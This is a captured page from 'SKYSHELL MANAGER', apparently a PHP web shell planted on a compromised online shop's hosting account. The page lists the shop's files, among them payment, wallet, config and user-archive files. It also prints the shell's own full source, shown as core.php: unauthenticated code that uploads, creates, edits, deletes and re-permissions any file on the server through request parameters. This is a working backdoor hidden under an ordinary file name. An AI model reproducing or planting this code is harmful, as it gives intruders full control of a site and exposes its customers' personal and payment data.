📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
junk
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📁
junk
-
0755
🗑️
🔒
📄
privacy_policy.html
8.37 KB
0644
🗑️
⬇️
✏️
🔒
📄
product.css
2.38 KB
0644
🗑️
⬇️
✏️
🔒
📄
product.php
28.22 KB
0644
🗑️
⬇️
✏️
🔒
📄
product_addquantity.php
4.21 KB
0644
🗑️
⬇️
✏️
🔒
📄
productdetails.php
3.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
products.php
2.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
promo.php
2.29 KB
0644
🗑️
⬇️
✏️
🔒
📄
promo_cart.php
1.2 KB
0644
🗑️
⬇️
✏️
🔒
📄
promodisplay.php
1.17 KB
0644
🗑️
⬇️
✏️
🔒
📄
pry_display.php
4.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
rate.php
0.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
pryfilter.php
1.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
rates.php
3.56 KB
0644
🗑️
⬇️
✏️
🔒
📄
realtimecheck.php
5.69 KB
0644
🗑️
⬇️
✏️
🔒
📄
register.php
8.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
related.php
5.44 KB
0644
🗑️
⬇️
✏️
🔒
📄
removehomedelivery.php
0.79 KB
0644
🗑️
⬇️
✏️
🔒
📄
resendbank.php
5.19 KB
0644
🗑️
⬇️
✏️
🔒
📄
retail_thankyou.php
1.59 KB
0644
🗑️
⬇️
✏️
🔒
📄
savenote.php
0.28 KB
0644
🗑️
⬇️
✏️
🔒
📄
savetransaction.php
5.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
search.php
3.45 KB
0644
🗑️
⬇️
✏️
🔒
📄
printmail.php
3.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
preorder.php
16.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
previousflash.php
3.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
new.png
2.86 KB
0644
🗑️
⬇️
✏️
🔒
📄
invoices.php
5.81 KB
0644
🗑️
⬇️
✏️
🔒
📄
kayd.php
0.02 KB
0644
🗑️
⬇️
✏️
🔒
📄
login.php
2.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
logistics.JPG
68.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
logout.php
0.66 KB
0644
🗑️
⬇️
✏️
🔒
📄
lou-multi-select-0.9.10-53-g57fb8d3.zip
77.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
maintainance.php
1.67 KB
0644
🗑️
⬇️
✏️
🔒
📄
markcart.php
0.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
menu.php
1.38 KB
0644
🗑️
⬇️
✏️
🔒
📄
message.php
0.92 KB
0644
🗑️
⬇️
✏️
🔒
📄
new_products.php
4.41 KB
0644
🗑️
⬇️
✏️
🔒
📄
php.ini
0.69 KB
0644
🗑️
⬇️
✏️
🔒
📄
newfilter.php
1.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
newproducts.php
2.73 KB
0644
🗑️
⬇️
✏️
🔒
📄
option.php
1.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
orderstatus.php
12.59 KB
0644
🗑️
⬇️
✏️
🔒
📄
paid.php
19.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
paychb.php
7.23 KB
0644
🗑️
⬇️
✏️
🔒
📄
paydeposit.php
6.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
payinvoice.php
0.26 KB
0644
🗑️
⬇️
✏️
🔒
📄
paywithbank.php
6.88 KB
0644
🗑️
⬇️
✏️
🔒
📄
paywithwallet.php
19.26 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_auto.php
1.72 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_history.php
0.62 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_page.php
2.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
viewhistory_display.php
4.88 KB
0644
🗑️
⬇️
✏️
🔒
📄
update.php
0.46 KB
0644
🗑️
⬇️
✏️
🔒
📄
updateuser.php
0.51 KB
0644
🗑️
⬇️
✏️
🔒
📄
upgrade.php
3.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
users.zip
50013.81 KB
0644
🗑️
⬇️
✏️
🔒
📄
v.20.zip
49666.95 KB
0644
🗑️
⬇️
✏️
🔒
📄
verifymail.php
4.01 KB
0644
🗑️
⬇️
✏️
🔒
📄
view-display.php
4.57 KB
0644
🗑️
⬇️
✏️
🔒
📄
view-filter.php
1.3 KB
0644
🗑️
⬇️
✏️
🔒
📄
view-products.php
1.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
viewhistory.php
1 KB
0644
🗑️
⬇️
✏️
🔒
📄
wallet.php
3.47 KB
0644
🗑️
⬇️
✏️
🔒
📄
tester.php
32.92 KB
0644
🗑️
⬇️
✏️
🔒
📄
walletdeposit.php
11.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
walletdeposit_thankyou.php
1.36 KB
0644
🗑️
⬇️
✏️
🔒
📄
walletsuccess.php
4.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
whole_apply.php
5.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
whole_pay.php
3.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
whole_thankyou.php
2.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
wholepaid.php
4.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
wholesuccess.php
0.92 KB
0644
🗑️
⬇️
✏️
🔒
📄
wishlist.js
0.93 KB
0644
🗑️
⬇️
✏️
🔒
📄
wishlist.php
0.98 KB
0644
🗑️
⬇️
✏️
🔒
📄
txets.php
6.04 KB
0444
🗑️
⬇️
✏️
🔒
📄
test.php
4.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_result.php
4.82 KB
0644
🗑️
⬇️
✏️
🔒
📄
signin.php
6.2 KB
0644
🗑️
⬇️
✏️
🔒
📄
searchs.php
0.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
select.php
0.34 KB
0644
🗑️
⬇️
✏️
🔒
📄
select2.php
0.15 KB
0644
🗑️
⬇️
✏️
🔒
📄
selectitem.js
4.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
selectpreorder.js
2 KB
0644
🗑️
⬇️
✏️
🔒
📄
setaddress.php
0.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
shippingfee.php
0.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
sidebar.php
4.47 KB
0644
🗑️
⬇️
✏️
🔒
📄
sidebar_delete.php
0.26 KB
0644
🗑️
⬇️
✏️
🔒
📄
sidebar_update.php
5.1 KB
0644
🗑️
⬇️
✏️
🔒
📄
signup.php
2.66 KB
0644
🗑️
⬇️
✏️
🔒
📄
terms.php
15.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
startchat.php
1.27 KB
0644
🗑️
⬇️
✏️
🔒
📄
stock.php
0 KB
0644
🗑️
⬇️
✏️
🔒
📄
stock_checker.php
0 KB
0644
🗑️
⬇️
✏️
🔒
📄
sub_products.php
5.22 KB
0644
🗑️
⬇️
✏️
🔒
📄
subcategory.php
1.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
subcategory_display.php
1.91 KB
0644
🗑️
⬇️
✏️
🔒
📄
subcategorys.php
0.14 KB
0644
🗑️
⬇️
✏️
🔒
📄
success.php
0.89 KB
0644
🗑️
⬇️
✏️
🔒
📄
suggest.php
6.4 KB
0644
🗑️
⬇️
✏️
🔒
📄
suggestion.php
16.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
invoice.php
10.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
index.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
how-to-order.php
1.8 KB
0644
🗑️
⬇️
✏️
🔒
📄
category_display.php
2.58 KB
0644
🗑️
⬇️
✏️
🔒
📄
card.css
4.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
card.js
0.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
carddeposit.php
8.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
carddeposit_thankyou.php
1.28 KB
0644
🗑️
⬇️
✏️
🔒
📄
cart.js
14.8 KB
0644
🗑️
⬇️
✏️
🔒
📄
cart.php
25.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
cart_items.php
13.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
cartcount.php
0.28 KB
0644
🗑️
⬇️
✏️
🔒
📄
categories.css
0.32 KB
0644
🗑️
⬇️
✏️
🔒
📄
categories.php
0.85 KB
0644
🗑️
⬇️
✏️
🔒
📄
chat.js
1.55 KB
0644
🗑️
⬇️
✏️
🔒
📄
brands_categories.php
1.94 KB
0644
🗑️
⬇️
✏️
🔒
📄
chat.php
12.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
checker.php
0.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
checkout.php
28.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
child.php
0.39 KB
0644
🗑️
⬇️
✏️
🔒
📄
child_categories.php
1.67 KB
0644
🗑️
⬇️
✏️
🔒
📄
child_display.php
4.25 KB
0644
🗑️
⬇️
✏️
🔒
📄
child_products.php
1.26 KB
0644
🗑️
⬇️
✏️
🔒
📄
childfilter.php
1.12 KB
0644
🗑️
⬇️
✏️
🔒
📄
comment.php
0.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
comments.php
2.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
brands_display.php
4.27 KB
0644
🗑️
⬇️
✏️
🔒
📄
brands.php
1.19 KB
0644
🗑️
⬇️
✏️
🔒
📄
compare_display.php
4.89 KB
0644
🗑️
⬇️
✏️
🔒
📄
all.js
0.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
.htaccess
1.99 KB
0444
🗑️
⬇️
✏️
🔒
📄
.user.ini
0.62 KB
0644
🗑️
⬇️
✏️
🔒
📄
CHB LUXURIES PRIVACY POLICY.pdf
169.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
actions.php
4.15 KB
0644
🗑️
⬇️
✏️
🔒
📄
addcart.php
6.51 KB
0644
🗑️
⬇️
✏️
🔒
📄
addpreorder.php
4.56 KB
0644
🗑️
⬇️
✏️
🔒
📄
addquantity.php
5.32 KB
0644
🗑️
⬇️
✏️
🔒
📄
addwishlist.php
1.64 KB
0644
🗑️
⬇️
✏️
🔒
📄
adverts.php
0.58 KB
0644
🗑️
⬇️
✏️
🔒
📄
adverts_popup.php
2.93 KB
0644
🗑️
⬇️
✏️
🔒
📄
allproduct.php
0.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
brandfilter.php
1.1 KB
0644
🗑️
⬇️
✏️
🔒
📄
allproducts.php
1.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
allproducts_display.php
4.08 KB
0644
🗑️
⬇️
✏️
🔒
📄
allproductsfilter.php
1.12 KB
0644
🗑️
⬇️
✏️
🔒
📄
apply.php
2.71 KB
0644
🗑️
⬇️
✏️
🔒
📄
apply_form.php
3.66 KB
0644
🗑️
⬇️
✏️
🔒
📄
autocart.js
5.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
autocart.php
7.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
bank_thankyou.php
1.8 KB
0644
🗑️
⬇️
✏️
🔒
📄
bankdeposit.php
3.81 KB
0644
🗑️
⬇️
✏️
🔒
📄
brand.php
0.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
compare.php
10.3 KB
0644
🗑️
⬇️
✏️
🔒
📄
comparefilter.php
1.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
hotproducts.php
0.91 KB
0644
🗑️
⬇️
✏️
🔒
📄
getalltotal.php
0.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchtotal.php
3.45 KB
0644
🗑️
⬇️
✏️
🔒
📄
filter.php
1.86 KB
0644
🗑️
⬇️
✏️
🔒
📄
flashdisplay.php
3.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
flashpromo.php
4.37 KB
0644
🗑️
⬇️
✏️
🔒
📄
footer.php
5.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
footer1.php
7.15 KB
0644
🗑️
⬇️
✏️
🔒
📄
forget.php
2.55 KB
0644
🗑️
⬇️
✏️
🔒
📄
forgetpassword.php
1.3 KB
0644
🗑️
⬇️
✏️
🔒
📄
functions.php
0 KB
0644
🗑️
⬇️
✏️
🔒
📄
fundwallet.php
2.1 KB
0644
🗑️
⬇️
✏️
🔒
📄
godid.php
2.64 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchgrams.php
0.46 KB
0644
🗑️
⬇️
✏️
🔒
📄
google12d9a33e3a12aac1.html
0.05 KB
0644
🗑️
⬇️
✏️
🔒
📄
header.php
11.76 KB
0644
🗑️
⬇️
✏️
🔒
📄
header1.php
29.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
help.php
2.55 KB
0644
🗑️
⬇️
✏️
🔒
📄
history.php
5.57 KB
0644
🗑️
⬇️
✏️
🔒
📄
history_items.php
3.89 KB
0644
🗑️
⬇️
✏️
🔒
📄
homedelivery.php
0.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
hot_products.php
4.03 KB
0644
🗑️
⬇️
✏️
🔒
📄
hotfilter.php
0.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
hotoffers.php
11.57 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchprototal.php
0.35 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchcount.php
0.63 KB
0644
🗑️
⬇️
✏️
🔒
📄
compares.php
0.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
demo.js
1.74 KB
0644
🗑️
⬇️
✏️
🔒
📄
complaint.php
0.85 KB
0644
🗑️
⬇️
✏️
🔒
📄
complaints.php
1.94 KB
0644
🗑️
⬇️
✏️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
connect_to_mysqli.php
0.47 KB
0644
🗑️
⬇️
✏️
🔒
📄
contact.php
1.52 KB
0644
🗑️
⬇️
✏️
🔒
📄
core.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
deductgiftcard.php
2.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
delete.php
0.19 KB
0644
🗑️
⬇️
✏️
🔒
📄
deletedata.php
0.27 KB
0644
🗑️
⬇️
✏️
🔒
📄
deliveryfee.php
3.75 KB
0644
🗑️
⬇️
✏️
🔒
📄
detail.php
0.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchchat.php
2.63 KB
0644
🗑️
⬇️
✏️
🔒
📄
display.php
4.3 KB
0644
🗑️
⬇️
✏️
🔒
📄
displayfilter.php
1.23 KB
0644
🗑️
⬇️
✏️
🔒
📄
editprofile.php
2.76 KB
0644
🗑️
⬇️
✏️
🔒
📄
error_log
5105316.83 KB
0644
🗑️
⬇️
✏️
🔒
📄
faq.php
0.92 KB
0644
🗑️
⬇️
✏️
🔒
📄
fastpromo.php
3.22 KB
0644
🗑️
⬇️
✏️
🔒
📄
feepaid.php
10.54 KB
0644
🗑️
⬇️
✏️
🔒
📄
feesuccess.php
0.9 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchamount.php
1.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchcardamount.php
0.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
wishlist_display.php
4.8 KB
0644
🗑️
⬇️
✏️
🔒
Editing: core.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>SKYSHELL MANAGER</title> <style> body { background-color: #111; color: #0f0; font-family: Arial, sans-serif; margin: 0; padding: 20px; } h2 { text-align: center; font-size: 36px; font-weight: bold; margin: 10px 0; position: relative; background: linear-gradient(90deg, #ff0000, #ffff00, #00ff00, #00ffff, #0000ff); background-size: 200%; color: transparent; -webkit-background-clip: text; animation: gradientAnimation 3s linear infinite; } @keyframes gradientAnimation { 0% { background-position: 200% 0%; } 50% { background-position: 0% 100%; } 100% { background-position: 200% 0%; } } .php-version { position: absolute; top: 10px; right: 20px; font-size: 14px; color: #0ff; } a { color: #6cf; text-decoration: none; } a:hover { text-decoration: underline; } table { width: 100%; border-collapse: collapse; margin-top: 20px; } th, td { padding: 10px; border: 1px solid #333; transition: background 0.3s, color 0.3s; } tr:hover { background-color: #32CD32; } tr:hover td a.filename-link { color: #000; font-weight: bold; } .filename-link { color: #0ff; } .action-cell { text-align: right; } input, button, textarea { background: #222; color: #0f0; border: 1px solid #444; padding: 5px 10px; margin: 5px 0; } button { cursor: pointer; } .alert-message { color: #32CD32; background-color: #222; padding: 10px; text-align: center; font-size: 18px; margin: 20px 0; } .file-upload-container { display: flex; justify-content: space-between; align-items: center; } .emoji { color: #fff; } .path-display a { color: #fff; text-decoration: underline; } </style> </head> <body> <h2><span class="emoji">📁</span> SKYSHELL MANAGER-<span class="emoji">🛒</span> <span class="php-version">PHP v<?= phpversion(); ?></span> </h2> <?php $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = realpath($path); $alertMessage = ""; // Upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $filename = basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $path . DIRECTORY_SEPARATOR . $filename)) { $alertMessage = "File uploaded successfully!"; } else { $alertMessage = "File upload failed!"; } } // Create folder if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfolder'])) { $folder = $path . DIRECTORY_SEPARATOR . $_POST['newfolder']; if (!file_exists($folder)) { mkdir($folder); $alertMessage = "Folder created successfully!"; } else { $alertMessage = "Folder already exists!"; } } // Create file if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfile'])) { $file = $path . DIRECTORY_SEPARATOR . $_POST['newfile']; if (!file_exists($file)) { file_put_contents($file, ''); $alertMessage = "File created successfully!"; } else { $alertMessage = "File already exists!"; } } // Change permission if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_value'])) { $file = $_POST['chmod_file']; $perm = $_POST['chmod_value']; if (file_exists($file)) { chmod($file, octdec($perm)); $alertMessage = "Permissions changed successfully!"; } else { $alertMessage = "File does not exist!"; } } // Delete if (isset($_GET['delete'])) { $file = urldecode($_GET['delete']); if (file_exists($file)) { unlink($file); header("Location: ?path=" . urlencode(dirname($file))); exit; } } // Save Edited File if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file_path'], $_POST['edited_content'])) { $filePath = $_POST['edit_file_path']; $newContent = $_POST['edited_content']; if (file_exists($filePath)) { file_put_contents($filePath, $newContent); $alertMessage = "File updated successfully!"; } else { $alertMessage = "File does not exist!"; } } ?> <?php if ($alertMessage): ?> <div class="alert-message"><?= $alertMessage ?></div> <?php endif; ?> <div class="file-upload-container"> <div> <form method="post"> <input type="text" name="newfolder" placeholder="📁 New Folder" required> <button type="submit">Create Folder</button> </form> <form method="post"> <input type="text" name="newfile" placeholder="📄 New File" required> <button type="submit">Create File</button> </form> </div> <div> <form method="post" enctype="multipart/form-data"> <input type="file" name="file" onchange="this.form.submit()"> </form> </div> </div> <!-- Current Path Display --> <p class="path-display"><b>Current Path:</b> <?php $parts = explode(DIRECTORY_SEPARATOR, $path); $build = ''; foreach ($parts as $part) { if ($part == '') continue; $build .= DIRECTORY_SEPARATOR . $part; echo "<a href='?path=" . urlencode($build) . "'>$part</a>/"; } ?> </p> <!-- File Table --> <table> <tr> <th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th> </tr> <?php $files = scandir($path); usort($files, function ($a, $b) use ($path) { return is_dir($path . DIRECTORY_SEPARATOR . $b) - is_dir($path . DIRECTORY_SEPARATOR . $a); }); foreach ($files as $file) { if ($file == '.') continue; $full = $path . DIRECTORY_SEPARATOR . $file; $isDir = is_dir($full); $perm = substr(sprintf('%o', fileperms($full)), -4); $size = $isDir ? '-' : filesize($full); echo "<tr>"; echo "<td>" . ($isDir ? "📁" : "📄") . " <a class='filename-link' href='?path=" . urlencode($full) . "'>$file</a></td>"; echo "<td>" . ($isDir ? '-' : round($size / 1024, 2) . ' KB') . "</td>"; echo "<td>$perm</td>"; echo "<td class='action-cell'> <a href='?delete=" . urlencode($full) . "'>🗑️</a> " . (!$isDir ? "<a href='$full' download>⬇️</a> <a href='?edit=" . urlencode($full) . "'>✏️</a>" : "") . " <form method='post' style='display:inline;'> <input type='hidden' name='chmod_file' value='$full'> <input type='text' name='chmod_value' placeholder='Perm' style='width:60px;'> <button type='submit'>🔒</button> </form> </td>"; echo "</tr>"; } ?> </table> <!-- Edit File Section --> <?php if (isset($_GET['edit']) && is_file($_GET['edit'])): $fileToEdit = $_GET['edit']; $content = htmlspecialchars(file_get_contents($fileToEdit)); ?> <h3 style="color:#fff;">Editing: <?= basename($fileToEdit) ?></h3> <form method="post"> <input type="hidden" name="edit_file_path" value="<?= htmlspecialchars($fileToEdit) ?>"> <textarea name="edited_content" rows="20" style="width:100%;background:#111;color:#0f0;border:1px solid #444;"><?= $content ?></textarea><br> <button type="submit">💾 Save Changes</button> </form> <?php endif; ?> </body> </html>
💾 Save Changes